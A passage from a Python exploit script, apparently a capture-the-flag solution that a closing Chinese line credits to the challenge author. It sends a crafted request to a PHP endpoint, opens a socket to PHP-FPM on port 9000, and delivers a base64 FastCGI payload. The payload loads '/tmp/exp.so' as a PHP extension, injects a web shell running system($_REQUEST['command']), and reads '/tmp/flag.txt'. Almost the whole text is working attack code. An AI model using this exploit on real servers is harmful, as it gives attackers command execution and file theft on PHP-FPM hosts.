"fpm_data": "AQEAAQAIAAAAAQAAAAAAAAEEAAEBnwAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPGVNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvYWRkX2FwaS5waHALDFNDUklQVF9OQU1FL2FkZF9hcGkucGhwDA5RVUVSWV9TVFJJTkdjb21tYW5kPXdob2FtaQsbUkVRVUVTVF9VUkkvYWRkX2FwaS5waHA/Y29tbWFuZD13aG9hbWkMDERPQ1VNRU5UX1VSSS9hZGRfYXBpLnBocAkXUEhQX1ZBTFVFZXh0ZW5zaW9uID0gL3RtcC9leHAuc28PDVNFUlZFUl9TT0ZUV0FSRTgwc2VjL3dvZmVpd28LCVJFTU9URV9BRERSMTI3LjAuMC4xCwRSRU1PVEVfUE9SVDkwMDALCVNFUlZFUl9BRERSMTI3LjAuMC4xCwJTRVJWRVJfUE9SVDgwCwlTRVJWRVJfTkFNRWxvY2FsaG9zdA8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAUNPTlRFTlRfTEVOR1RIMAEEAAEAAAAAAQUAAQAxAAA8P3BocCBzeXN0ZW0oJF9SRVFVRVNUWydjb21tYW5kJ10pOyBwaHBpbmZvKCk7ID8+AQUAAQAAAAA=",
"fsockopen": "fsockopen",
"fsockopen_args": ["127.0.0.1", 9000],
"arg_array": [""],
"offset": 0,
"fwrite": "fwrite",
"arg_array_1": [""],
"length": 8,
"fread": "fread",
"file_arg":"/tmp/flag.txt"

}
return code, data


def run(func: callable):

def name_convert(name: str):
match name:
case "CALL":
return "call"
case "ICALL":
return "inst_call"
case "NEW":
return "new"
case _:
return name

def data_item(key: str, value: int | str | dict | list):
if type(value) == int:
return [(key, value)]
elif type(value) == str:
return [(key, value)]
elif type(value) == bytes:
return [(key, value)]
elif type(value) == dict:
new = []
for k in value:
new.append(data_item(f"{key}[{k}]", value[k]))
return new
elif type(value) == list:
new = []
if len(value) == 0:
new.append(("array[]", ""))
else:
for k in range(len(value)):
new.append(data_item(f"{key}[{k}]", value[k]))
return new
raise Exception("unsupported type")

def data_convert(data: dict):
def flatten(something):
if isinstance(something, (list, range)):
for sub in something:
yield from flatten(sub)
else:
yield something

l = []
for k in data:
l.append(data_item(k, data[k]))
l = flatten(l)
return {k[0]: k[1] for k in l}

code, data = func()
code = code.replace("\n\n", "\n")
code = code.split("\n")
code = map(lambda x: x.split(" "), code)
code = itertools.chain.from_iterable(code)
code = map(name_convert, code)
code = list(code)
code = {k: code[k] for k in range(len(code))}
data = data_convert(data)
code = code | data
res = requests.post(URL, data=code)
print(res.request.body)
print(res.text)


run(fpm_attack)

出题人写的.